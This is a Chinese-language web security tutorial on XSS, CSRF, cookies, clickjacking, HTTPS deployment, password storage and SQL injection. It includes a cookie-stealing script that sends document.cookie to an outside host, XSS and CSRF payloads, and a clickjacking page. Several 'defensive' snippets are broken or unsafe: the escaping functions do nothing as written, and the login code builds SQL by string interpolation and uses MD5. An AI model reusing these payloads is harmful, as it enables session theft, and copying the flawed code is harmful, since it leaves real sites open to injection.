Web安全
XSS
- Cross Site Scripting
- 跨站脚本攻击
跨站脚本攻击(Cross-site scripting,XSS)是一种安全漏洞,攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。当被攻击者登陆网站时就会自动运行这些恶意代码,从而,攻击者可以突破网站的访问权限,冒充受害者。
xss.html
<h3>hi! <span id="form"></span></h3>
<script type="text/javascript">
const [,...value] = location.search.split("=");
const str = value.join("=")
form.innerHTML = decodeURIComponent(str);
</script>
动态插入脚本:
/xss.html?from=<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.js"></script>
跨站脚本能做什么?
- 获取页面数据
- 获取Cookies
- 劫持前端逻辑
- 发送请求
危害
- 偷取网站任意数据
- 偷取用户资料
- 偷取用户密码和登录状态
- 欺骗用户
案例
获取用户cookie数据:
利用表单填写,插入跨站脚本:
<script src="http://youyoucuocuo.top/getCookie.js"></script>
getCookie.js
let img = document.createElement("img");
img.width = 0;
img.height = 0;
img.src = "http://youyoucuocuo.top/sendCookie?joke="+decodeURIComponent(document.cookie)
XSS 工具分类
- 反射型(url参数直接注入)
- 存储型(存储到DB后读取时注入)
反射型
通过url参数直接注入,脚本一般在路径上,一般会通过短网址的方式加密后再发送。
存储型
存储到DB后读取时注入,一般会通过表单存储进数据库中,危害更大。
XSS 攻击注入点
- HTML 节点内容
- HTML属性
- Javascript 代码
- 富文本
HTML 节点内容
input
或者 textarea
内容输入框直接输入脚本。
防御
转义符号:
const escapeHtml = (str)=> {
str = str.replace(/</g,"<");
str = str.replace(/>/g,">");
return str;
}
HTML 属性
<img src="1" onerror="alert(1)">
url路径显示图片地址:
/detail?avatar=1" onerror="alert(1)"
query参数 avatar
,因为后面只添加了一个引号将图片闭合,紧接着就可以加入onerror触发事件了。
防御
转义html属性中的引号:
const escapeHtmlProperty = (str)=> {
if(!str) return;
str = str.replace(/"/g,"&quto;"); // 转换双引号
str = str.replace(/'/g,"'"); // 转换单引号
str = str.replace(/ /g," "); // 转换空格
return str;
}
Javascript 代码
var data = "#{data}";
var data = "hello";alert(1);"";
跟上面图片原理类似,通过双引号,将结束符合延后:
/detail?form=google";alert(1);""
防御
转义 ”\“ 或者转换成json
const escapeForJs = function(str){
if(!str) return;
str = str.replace(/\\/g,'\\\\');
str = str.replace(/"/g,'\\"');
return str;
}
用JSON.stringify转换:
JSON.stringify(ctx.query.form)
富文本
- 富文本会保留HTML
- HTML有XSS攻击风险
防御
黑名单:
const xssFilter = function(html){
if(!html) return;
html = html.replace(/<\s*\/?script\s*>/g,'');
html = html.replace(/javascript:[^'"]*/g,'');
html = html.replace(/onerror\s*=\s*[^'"]*['"]?/g,'');
return html;
}
按白名单保留部分标签和属性:
const xssFilter = function(html){
if(!html) return;
const cheerio = require("cheerio");
const $ = cheerio.load(html);
// 白名单
const whiteList = {
"img": ["src"],
"font": ["color", "size"],
"a": ["href"]
};
$("*").each(function(index, elem){
// 将不在白名单的属性去除
if(!whiteList[elem.name]){
$(elem).remove();
return;
}
for(let arr in elem.attribs){
if(whiteList[elem.name].indexOf(attr) === -1){
$(elem).attr(attr, null);
}
}
});
return $.html();
}
第三方xss白名单过滤包 js-xss
CSP
- Content Security Policy
- 内容安全策略
- 用于指定哪些内容可执行
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS (en-US)) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。
MDN 文档:
meta标签设置:Content-Security-Policy、CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSRF
- Cross Site Request Forgy
- 跨站请求伪造
跨站请求伪造(CSRF)是一种冒充受信任用户,向服务器发送非预期请求的攻击方式。
<body>
<form
name="commentForm"
method="post"
action="http://localhost:8080/post/addComment"
target="csrf"
>
<input type="hidden" name="postId" value="13" />
<textarea name="content">来自CSRF!</textarea>
</form>
<script>
const iframe = document.createElement("iframe");
iframe.name = "csrf";
iframe.style.display = "none";
document.body.appendChild(iframe);
setTimeout(() => {
document.forms["commentForm"].submit();
}, 1000);
</script>
</body>
如上,通过隐藏表单,向 /post/addComment
的地址发送评论数据。
如果是支持 GET
请求的表单提交,直接通过链接标签点击后触发:
<a href="http://localhost:8080/ajax/addComment?content=来自CSRF&postId=13">点击这里有钱拿!</a>
甚至可以通过图片直接出发请求
<img src="http://localhost:8080/ajax/addComment?content=来自CSRF&postId=13" />
CSRF原理
1、用户登录A网站
2、A网站确认身份
3、B网站页面向A网站发起请求(带A网站身份)
CSRF危害
- 利用登录状态(盗取用户资金)
- 用户不知情 (冒充用户发帖背锅)
- 完成业务请求 (损坏网站名誉)
CSRF防御
- 禁止第三方网站带Cookies,使用 SameSite
- 在前端页面加入验证信息(验证码、token)
- 请求头 referer 对请求网站进行验证
Cookies
cookies特性
- 前端存储数据
- 后端通过http头设置
- 请求时通过http头传给后端
- 前端可读写
- 遵守同源策略
HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
删除cookie使用过期时间删除:
document.cookie = "name=chenwl; expire=Sun, 07 May 2020 10:20:12 GTM";
cookies作用
- 存储个性化设置
- 存储未登录时用户唯一标识
- 存储已登录用户的凭证
- 存储其他业务数据
登录用户凭证
- 前端提交用户名和密码
- 后端验证用户名和密码
- 后端通过http头设置用户凭证
- 后续访问时后端先验证用户凭证
使用方式
- 签名加密
前端通过:用户ID + 秘钥 => 签名cookie
生成加密后的cookie,同时发送用户ID
和签名cookie
给到前端,
接收请求时再通过用户名ID
校验签名cookie
是否正确。
- sessionId
为了保证安全,将用户数据存储在后端内存中,每个数据对应唯一字符串(sessionId),并将sessionId
发送给前端,这样前端不存储任何用户相关数据,只有在请求时带上sessionId,后端根据sessionId在内存中查找数据。
const session = {};
const cache ={};
session.set = function(obj){
const sessionId = Math.random();
if(!cache[sessionId]){
cache[sessionId] = {}
}
cache[sessionId].content = obj;
return sessionId
};
session.get = function(sessionId){
return cache[sessionId] && cache[sessionId].content;
}
module.exports = session;
在开发中,一般不会把session放到内存中,不仅占内存和而且重启容易丢失,一般会存放到redis数据库中。
Cookies 和 XSS 的关系
- XSS可能偷取Cookies
- http-only的Cookie不会被偷
Cookies 和 CSRF 的关系
- CSRF 利用了用户Cookies
- 攻击站点无法读写Cookies
- 最好能阻止第三方使用Cookies
Cookies 安全策略
- 签名防止篡改
跟上面 用户ID + 秘钥 => 签名cookie
方式一样。
- 私有变换(加密)
将数据加密后再发送给前端,
const crypto = require("crypto");
const KEY = "secret_key";
const cipher = crypto.createCipher("des", KEY);
let text = cipher.update("hello world", "urf8", "hex");
text+= cipher.final("hex");
console.log(text); // 760e03ada6159566236fe30e35bedc32
const decipher = crypto.createDecipher("des", KEY);
let originalText = decipher.update(text, "hex","utf8");
originalText+=decipher.final("utf8");
console.log(originalText); // hello world
其它安全设置:http-only
、 secure
、same-site
点击劫持
劫持特征
- 用户亲手操作
- 用户不知情
劫持危害
- 盗取用户资金(转账、消费)
- 获取用户敏感信息
劫持原理
钓鱼网站用图片将网站内容遮住,利用图片内容诱惑用户点击,真实网站被嵌入 iframe 并设置为透明:
<html>
<head>
<title>click demo</title>
<style>
body {
background: url(clickJack.png) no-repeat contain;
}
iframe {
opacity: 0;
width: 100%;
hieght: 100%;
}
</style>
</head>
<body>
<iframe src="http://localhost:8080/post/15"></iframe>
</body>
</html>
劫持防御
- 禁止 Javascript 内嵌
if (top.location != window.location) {
top.location = window.location;
}
在window中top属性指向的是iframe的父元素,如果不相等则证明当前网站被内嵌在iframe了,出现这种情况可以利用location
重定向回去。
这种方式虽然能防止网站被内嵌在iframe操作,不过 html5 新增属性 sandbox 限制iframe能力,下面是只允许iframe有表单提交能力:
<iframe src="http://localhost:8080/post/15" sandbox="allow-forms" ></iframe>
X-FRAME-OPTIONS
禁止内嵌
X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在
<frame>, <iframe>, <embed> 或者 <object>
中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 clickjacking 攻击
X-Frame-Options: deny
X-Frame-Options: sameorigin
X-Frame-Options: allow-from https://example.com/
传输安全
HTTP 传输窃听
一个网站通过浏览器请求可能经过的传输链路:
浏览器 <-> [ 代理服务器 <-> 链路 ] <-> 服务器
传输链路窃听篡改
Mac和linux可以通过traceroute
命令查看访问服务器过程中间经过的节点:
$ traceroute www.baidu.com
代理抓包工具:
anyproxy
窃听危害
- 窃听用户密码
- 窃听传输敏感信息
- 非法获取个人资料
- HTTP 篡改
- 插入广告
- 重定向网站
- 无法防御的XSS和CSRF攻击
HTTPS
浏览器 <-> [ 代理服务器 <-> 链路 ] <-> 服务器
TLS(SSL) 加密
如何确定服务器身份
三个角色:CA
、浏览器
、服务器
分工如下
1、(申请证书)
服务器 => CA
2、(验证域名 颁发证书)
CA => 服务器
3、(发起请求)
浏览器 => 服务器
4、(出具证书)
服务器 => 浏览器
5、(内置信任列表,验证通过)
浏览器 => CA => 服务器
特征:
- 证书无法伪造
- 证书私钥不被泄露
- 域名管理权不泄露
- CA坚守原则
HTTPS解决的问题
- 防监听
数据是加密的,所以监听得到的数据是密文,hacker看不懂。 - 防伪装
伪装分为客户端伪装和服务器伪装,通信双方携带证书,证书相当于身份证,有证书就认为合法,没有证书就认为非法,证书由第三方颁布,很难伪造 - 防篡改
https对数据做了摘要,篡改数据会被感知到。hacker即使从中改了数据也白搭。
HTTPS 证书申请
手动申请
1、进入sslforfree,输入需要申请的域名后,点击申请。
2、点击 Manual Verification(DNS)
后确认 Manually verify Domain
3、将解析记录值 TXT 在域名解析中设置
4、下载SSL Certificate
证书
配置服务,Koa为例子:
const Koa = require("koa");
const app = new Koa();
const https = require("https");
https
.createServer(app.callback())
.listen(3000,()=>{
console.log("App https is listening on port 3000");
})
将下载证书放置服务根目录./cert
下,下载后的证书共有三个:
/cert
- ca_boundle.crt (CA证书)
- certificate.crt (自己的证书)
- private.key(私钥)
接着需要合并这书ca_boundle.crt
和certificate.crt
的内容,合并后文件取名:fullchain.crt
/cert
- ca_boundle.crt (CA证书)
- certificate.crt (自己的证书)
- private.key(私钥)
- fullchain.crt (合并了CA和自己的证书)
const fs = require("fs");
const httpsConfig ={
key: fs.readFileSync("./cert/private.key"),
cert: fs.readFileSync("./cert/fullchain.crt"),
};
https
.createServer(httpsConfig,app.callback())
.listen(3000,()=>{
console.log("App https is listening on port 3000");
})
最后直接访问localhost:3000
是无法验证成功的,需要修改host为sslforfree申请通过的秘钥域名。
生产环境部署
配置nginx:
server {
listen 80;
listen 443 ssl http2;
server_name youyoucuocuo.top;
ssl_certificate /root/.acme.sh/youyoucuocuo.top/fullchain.pem;
ssl_certificate_key /root/.acme.sh/youyoucuocuo.top/privkey.pem;
location / {
root /data/web/youyoucuocuo.top;
}
}
重启nginx:
nginx -s reload
下载执行脚本:
curl https://get.acme.sh | sh
脚本下载位置:
cs /root/.acme.sh
执行证书申请操作(确定有改文件执行权限):
acme.sh --issue -d youyoucuocuo.top -d www.youyoucuocuo.top --webroot /data/web/youyoucuocuo.top/
再次重启nginx后完成部署。
密码安全
密码存储要求
- 严禁明文存储(防止泄露)
- 单向变换(防泄露)
- 变换复杂度要求(防猜解)
- 密码复杂度要求(防猜解)
- 加盐(防猜解)
哈希算法
- 明文与密文一一对应
- 雪崩效应(一个字符的修改生成的字符串完全不同)
- 密文与明文无法反推
- 密文长度固定
- 常见哈希算法:md5、sha1、sha256
加盐变换存储
加密函数:
const uitls = {};
const md5 = function(str){
const crypto = require("crypto");
const md5Hash = crypto.createHash("md5");
md5Hash.update(str);
return md5Hash.digest("hex");
}
uitls.getSalt = function(){
return md5(Math.random()*99999 + "" + Date.now());
}
uitls.encryptPassword = function(salt, password){
return md5(salt + "af@!99$cc%aa*@!" + password);
};
module.exports = uitls;
在koajs中对用户名和密码校验:
const uitls = require("./uitls");
async (ctx)=>{
const {username, password} = ctx.body;
const users = await query(`select * from users where username=${username}`);
if(!users.length) ctx.error(400,"password or pin must provided");
const user = users[0];
// 用户没有salt
// 需要升级
if(!user.salt){
const salt = uitls.getSalt();
const newPassword = uitls.encryptPassword(salt, user.password);
await query(`update user set password=${newPassword},salt=${salt} where id=${user.id}`);
user.salt = salt;
user.password = newPassword;
}
const encryptPassword = uitls.encryptPassword(user.salt, password);
if(encryptPassword !== user.password){
ctx.error(400,"invalid username or password");
}
}
接入层注入
SQL注入危害
- 猜解密码
- 获取数据
- 删库删表
- 拖库
SQL注入防御
- 关闭错误输出(生产环境屏蔽报错信息)
- 检查数据类型(typeof)
- 对数据进行转义(connect.escape(id))
- 使用参数化查询
- 使用ORM (对象关系映射)(sequelize)
上传问题
原因:
上传文件被当成程序被执行
防御:
1、限制上传后缀
2、文件类型检查
3、文件内容检查
4、程序输出(readFile)
5、控制权限-可写可执行互斥
信息泄露
- 泄露系统敏感信息
- 泄露用户敏感信息
- 泄露用户密码
信息泄露途径
- 错误信息失控
- SQL注入
- 水平权限控制不当
- XSS/CSRF